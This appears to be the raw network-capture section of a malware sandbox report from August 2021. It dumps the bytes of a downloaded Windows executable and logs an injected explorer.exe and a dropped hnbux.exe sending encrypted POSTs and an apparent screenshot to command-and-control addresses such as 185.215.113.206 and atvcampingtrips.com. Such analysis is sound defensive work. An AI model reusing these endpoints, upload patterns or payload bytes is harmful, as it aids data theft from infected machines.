00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 4.dZ}dZ}dZ}z}uZ}z}Z}z}SZ}CC!}gZ}d[}Z}z}eZ}z}eZ}z}eZ}RichdZ}PELx^p@MxH(@?@.text `.rdata@@.dataC`@@.rsrc@@
Aug 19, 2021 07:53:51.811249018 CEST	11202	IN	Data Raw: 00 8b ff 55 8b ec 83 ec 40 83 7d 0c 00 75 1c 83 7d 10 00 76 16 83 7d 08 00 74 09 8b 45 08 c7 00 00 00 00 00 33 c0 e9 d1 02 00 00 83 7d 08 00 74 09 8b 4d 08 c7 01 ff ff ff ff ba ff ff ff 7f 3b 55 10 1b c0 83 c0 01 89 45 ec 75 1e 68 38 d3 41 00 6a Data Ascii: U@}u}v}tE3}tM;UEuh8AjjJhAj3u}u02jjJhAhAh8A/\URMUM]xM~C}t}vURjEP/2*
Aug 19, 2021 07:53:51.811270952 CEST	11204	IN	Data Raw: 8b 55 08 83 7a 04 00 74 4c 8b 45 08 8b 48 04 51 e8 82 52 00 00 83 c4 04 83 c0 01 89 45 fc 8b 55 fc 52 e8 40 52 00 00 83 c4 04 8b 4d f8 89 41 04 8b 55 f8 83 7a 04 00 74 1a 8b 45 08 8b 48 04 51 8b 55 fc 52 8b 45 f8 8b 48 04 51 e8 37 4f 00 00 83 c4 Data Ascii: UztLEHQREUR@RMAUztEHQUREHQ7OUBEMQPE]UQMElAMytUBPy]UQMExtMAtA]UjjEP>R]
Aug 19, 2021 07:53:51.811292887 CEST	11205	IN	Data Raw: 8b ec e8 86 66 00 00 e8 11 00 00 00 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 28 41 42 00 68 b0 79 40 00 64 a1 00 00 00 00 50 83 c4 94 53 56 57 a1 e4 67 42 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 Data Ascii: f]Ujh(ABhy@dPSVWgB1E3PEdeEEEPAE&eEEESEEjEwujGBuj4j*$vEq}jY
Aug 19, 2021 07:53:51.811315060 CEST	11206	IN	Data Raw: cc 8b 45 18 c7 00 0c 00 00 00 e9 e6 01 00 00 8b 4d 0c 81 e1 ff ff 00 00 83 f9 04 74 3a 83 7d 0c 01 74 34 8b 55 0c 81 e2 ff ff 00 00 83 fa 02 74 26 83 7d 0c 03 74 20 68 b0 d4 41 00 68 0c d5 41 00 6a 00 6a 00 6a 00 6a 01 e8 15 78 00 00 83 c4 18 83 Data Ascii: EMt:}t4Ut&}t hAhAjjjjxuM$MUR:wE}uEr0`B0`B}tIUE@MAUBEMHUBE@+'D;Mv'
Aug 19, 2021 07:53:51.811340094 CEST	11208	IN	Data Raw: e8 24 73 00 00 83 c4 18 83 f8 01 75 01 cc 33 c0 e9 99 04 00 00 83 7d fc bc 76 60 83 7d 14 00 74 29 8b 55 18 52 8b 45 14 50 8b 4d fc 51 68 d8 d8 41 00 6a 00 6a 00 6a 00 6a 01 e8 ea 72 00 00 83 c4 20 83 f8 01 75 01 cc eb 1f 8b 45 fc 50 68 e4 d4 41 Data Ascii: $su3}v`}t)UREPMQhAjjjjr uEPhAjjjjru33}thUtZE%tM}t%MQURhAjjjjmru hAhAjjjjKruQj9`BR
Aug 19, 2021 07:53:51.811366081 CEST	11209	IN	Data Raw: ff 55 8b ec 51 83 3d 2c 27 44 00 00 76 55 a1 2c 27 44 00 83 e8 01 39 05 14 27 44 00 75 36 e8 fc 06 00 00 85 c0 75 21 68 d4 d5 41 00 6a 00 68 03 05 00 00 68 70 d5 41 00 6a 02 e8 00 19 00 00 83 c4 14 83 f8 01 75 01 cc c7 05 14 27 44 00 00 00 00 00 Data Ascii: UQ=,'DvU,'D9'Du6u!hAjhhpAju'D'D'D}ul}uOj9`BPMQBt/URh8AjjjjEmu'=4jBtDjjjMQjURj4jBu%hAh
Aug 19, 2021 07:53:51.811393023 CEST	11211	IN	Data Raw: 00 83 c4 14 83 f8 01 75 01 cc 83 7d dc 00 75 31 e8 90 13 00 00 c7 00 16 00 00 00 6a 00 68 d3 05 00 00 68 70 d5 41 00 68 84 dd 41 00 68 78 d9 41 00 e8 ff 10 00 00 83 c4 14 83 c8 ff e9 38 01 00 00 83 3d 2c 27 44 00 00 76 56 8b 15 2c 27 44 00 83 ea Data Ascii: u}u1jhhpAhAhxA8=,'DvV,'D9'Du6u!hAjhhpAju'D'D'DjnNEURu!hAjhhpAj,uM MUB%
Aug 19, 2021 07:53:51.811420918 CEST	11212	IN	Data Raw: 6a 00 6a 00 e8 72 63 00 00 83 c4 20 83 f8 01 75 01 cc eb 22 8b 4d e4 83 c1 20 51 68 10 de 41 00 6a 00 6a 00 6a 00 6a 00 e8 4e 63 00 00 83 c4 18 83 f8 01 75 01 cc c7 45 d8 00 00 00 00 83 7d d8 00 75 7a 8b 45 e4 83 78 08 00 74 3d 8b 4d e4 8b 51 0c Data Ascii: jjrc u"M QhAjjjjNcuE}uzExt=MQREHQUBPM QURhAjjjjb(u-MQRE PMQhAjjjjb uEGEjDIEMdY_^[]I
Aug 19, 2021 07:53:51.811448097 CEST	11213	IN	Data Raw: 8b 45 fc 50 8d 4d ec e8 25 d9 ff ff 8d 4d ec e8 2d da ff ff 50 8b 4d 08 51 e8 13 00 00 00 83 c4 08 8d 4d ec e8 e8 d9 ff ff 8b e5 5d c3 cc cc cc cc 8b ff 55 8b ec 6a fe 68 30 42 42 00 68 b0 79 40 00 64 a1 00 00 00 00 50 83 c4 f0 53 56 57 a1 e4 67 Data Ascii: EPM%M-PMQM]Ujh0BBhy@dPSVWgB1E3PEdEj0DEhAhAjjjj]u}tMU'DEMU}(E;EMQt)EHtU
Aug 19, 2021 07:53:51.844512939 CEST	11215	IN	Data Raw: 45 cc 50 e8 8f f8 ff ff 83 c4 04 83 7d e0 00 75 17 83 7d d4 00 75 11 8b 0d 28 60 42 00 83 e1 10 74 37 83 7d d8 00 74 31 68 7c e3 41 00 68 0c d5 41 00 6a 00 6a 00 6a 00 6a 00 e8 c8 58 00 00 83 c4 18 83 f8 01 75 01 cc 6a 00 e8 68 fa ff ff 83 c4 04 Data Ascii: EP}u}u(`Bt7}t1h\|AhAjjjjXujh3]UQ('DEE]U('D]U VWA}EEMM}tUtE@MQUREPMQA_^]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	49754	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:53.024908066 CEST	11550	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: atvcampingtrips.com
Aug 19, 2021 07:53:53.024933100 CEST	11550	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 1c 6b 2c 90 f4 76 0b 75 77 22 b8 e5 Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA ,[k,vuw"fLs.sD(n<OZqu%O:AI{FA4HBmg5->IxSb7t<v]:Ub\q/[_o
Aug 19, 2021 07:53:53.160948038 CEST	11552	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	49755	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:53.536964893 CEST	11553	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: atvcampingtrips.com
Aug 19, 2021 07:53:53.536986113 CEST	11554	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 70 27 d4 ab Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vup'slLV++-O^E=wKbG7sX<G {h'@SUWJCxjV%8rO"c
Aug 19, 2021 07:53:54.769658089 CEST	11554	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 49 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 05 6d 08 fc 31 1e fe ea 4e fe 9f ac b8 37 db 7f 85 ac 7b 0a 44 d5 d3 d7 9f 2a d1 26 10 Data Ascii: #\6m1N7{D*&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	49757	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:56.913729906 CEST	11825	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: atvcampingtrips.com
Aug 19, 2021 07:53:56.913747072 CEST	11826	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 1d 6b 2c 90 f4 76 0b 75 4c 22 e4 85 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA ,[k,vuL"6WN^Ty4aIzh"jvRR;ey;,`$]Zdj%>OA#Ab<O[#EmXMA:f5T,J!
Aug 19, 2021 07:53:58.130865097 CEST	11826	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	49758	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:58.482240915 CEST	11827	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: atvcampingtrips.com
Aug 19, 2021 07:53:58.482281923 CEST	11828	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 31 36 d7 bc Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu16zpPh)2
Aug 19, 2021 07:53:59.707612991 CEST	11828	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	49759	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:00.048762083 CEST	11829	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 266 Host: atvcampingtrips.com
Aug 19, 2021 07:54:00.048774958 CEST	11830	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 7b 2e e6 ba Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu{.FngeTPYI1s+j\Ce\,0lCHHIXYm&,i-do5u;yBq/o \|K.
Aug 19, 2021 07:54:01.268244028 CEST	11830	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:54:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	49761	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:54:02.254451036 CEST	11831	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ade489ed3a5e311199ef7ebb583590c Host: 185.215.113.206 Content-Length: 94583 Cache-Control: no-cache
Aug 19, 2021 07:54:02.254748106 CEST	11832	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 61 64 65 34 38 39 65 64 33 61 35 65 33 31 31 31 39 39 65 66 37 65 62 62 35 38 33 35 39 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ade489ed3a5e311199ef7ebb583590cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 19, 2021 07:54:02.254949093 CEST	11842	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 19, 2021 07:54:02.255045891 CEST	11844	OUT	Data Raw: e7 39 18 c9 ed d3 15 d1 4a 4a 29 b6 44 93 6d 24 73 86 98 6b bb bc f0 7d a4 1f 0c e1 d7 47 99 fd a0 4a cb 20 2d c0 8d 9c aa f1 ef f2 d5 0f 1c 68 da 76 84 74 8b 2b 48 0a 5d 35 92 cd 74 e5 d8 ef 76 e3 a1 38 1c a9 e9 eb 57 1a d1 93 b2 f3 fc 01 d3 69 Data Ascii: 9JJ)Dm$sk}GJ -hvt+H]5tv8Wi]C?~?fst_:Um?ypwgx5i^&>e,?vwXP6nj}o/y97gz/V_jJ2UJJ
Aug 19, 2021 07:54:02.315762997 CEST	11870	OUT	Data Raw: a5 a9 2d ad e7 bc 9d 20 b5 86 49 e6 7f bb 1c 48 59 9b bf 00 72 69 7e cf 38 8a 19 4c 12 88 e7 24 44 c5 0e 24 c1 c1 da 7b e0 f1 c5 3b 88 8a 8a 7c b1 c9 0c cf 14 a8 d1 c9 1b 15 74 75 21 94 8e 08 20 f4 34 ca 04 15 eb 1f 09 bc 7b a1 78 43 47 d4 2d f5 Data Ascii: - IHYri~8L$D${;\|tu! 4{xCG-iI'Ek6uEM+>1jIWiq2Jk?vx3~/?\|=\|Mfatac.@1jtNmq]\|YXR2s~
Aug 19, 2021 07:54:02.375066042 CEST	11872	OUT	Data Raw: 96 04 9c 8c 9c 8e 9c 8c 1f 21 1c f4 af a7 bf b6 67 d1 f5 1d 4e 2b 48 e3 29 35 e3 ca de 6e 58 ee e1 4e 31 8e 3e 5f fe bd 79 6f c5 dd 02 db 4f be d2 f5 a8 56 28 e4 d5 e3 79 26 8a 18 ca a0 75 d8 77 72 4f 27 7f 3d 3a 67 a9 35 d7 86 ae db e4 67 3d 68 Data Ascii: !gN+H)5nXN1>_yoOV(y&uwrO'=:g5g=hW:l:S4Rq4HSOZZRNh5#(QE0hE(5@--6R3IZNR)RQL-QLCE6)KH)i)i(L1LZZ@)i:)THQIKTHKL)J:S
Aug 19, 2021 07:54:02.375176907 CEST	11886	OUT	Data Raw: 73 e4 89 d4 02 77 1e db 2b 88 b9 f8 dd a7 5e 93 f6 af 03 da 4f 9e be 6d d2 b7 f3 8a 9e df 1c 6c 64 76 77 f0 5d b3 33 1c 96 37 6a 49 3f f7 ea b8 fe ab 57 b1 ac 69 c6 37 f7 ae 76 9a 8b d8 8d 52 ec 3d bd c1 6f 39 f2 44 ea 01 3b 8f 6d 95 c6 7c 71 da Data Ascii: sw+^Omldvw]37jI?Wi7vR=o9D;m\|qt/69 b7'vw]37jI?x\|nb&400}1P[qQ_z3F3GzawjK2JLhZ^`i)i()E(4;Pzm8P@:AKLBh0E%-
Aug 19, 2021 07:54:02.375196934 CEST	11891	OUT	Data Raw: 48 05 66 cd 62 39 6a 5c 71 4c 51 4e 15 0c da 22 f6 a5 14 aa 29 f8 a9 b9 69 00 a5 a4 c5 2d 49 43 94 d3 d6 a3 5a 99 7a 54 b2 e2 38 53 c5 30 53 aa 19 a2 1d d8 d7 90 7c 4c 39 bf b2 ff 00 ae 4d ff 00 a1 57 af 67 af d2 bc 83 e2 57 fc 7f d9 7f d7 26 ff Data Ascii: Hfb9j\qLQN")i-ICZzT8S0S\|L9MWgW&iC"\E%s(Q@-1Gj 4M4($J)M6REP!hRQM74!SA)(E/z`/jZ)qL--%&yHRRkp:RRCAE%(HxKV{-&}i$u
Aug 19, 2021 07:54:02.375257015 CEST	11913	OUT	Data Raw: fc cd 3d 8b fc ff 00 5f f2 38 ba 4a f4 5f 12 dd 41 e1 ff 00 b6 49 61 a4 e9 32 29 f1 15 d5 bb 45 2d 84 52 06 8d 12 2c 46 09 5c a0 c9 6f ba 41 19 e3 9a 87 56 ba 5d 27 4e f1 65 ad 9d 9e 96 53 4d d4 60 b5 b5 79 74 cb 77 92 38 df cd dc a5 d9 0b 31 1b Data Ascii: =_8J_AIa2)E-R,F\oAV]'NeSM`ytw81@On/%vYXBm-Df.F1wXnHbJVb/7C;t_E>4t^[o4gX$`6@ JNrdzWq
Aug 19, 2021 07:54:02.377623081 CEST	11920	OUT	Data Raw: 1c d3 b8 0b 45 25 14 08 5a 5e d4 dc d2 d1 70 1d 45 20 a5 cd 31 05 28 a4 a2 81 0b 49 45 14 00 b4 52 51 4c 07 0a 29 28 e6 8b 80 52 d2 51 40 85 a5 a4 a2 98 0b 4b 45 14 c0 29 69 28 a0 42 d1 45 14 c0 28 cd 14 52 00 cd 2e 69 b4 03 40 58 5c d2 e6 92 8c Data Ascii: E%Z^pE 1(IERQL)(RQ@KE)i(BE(R.i@X\Lf-&m?4S3J0i3E\BLasILX3Fi(0L44(EuhLsIWM&i3JXq4qviZ)Qp4w4sME%ZJ
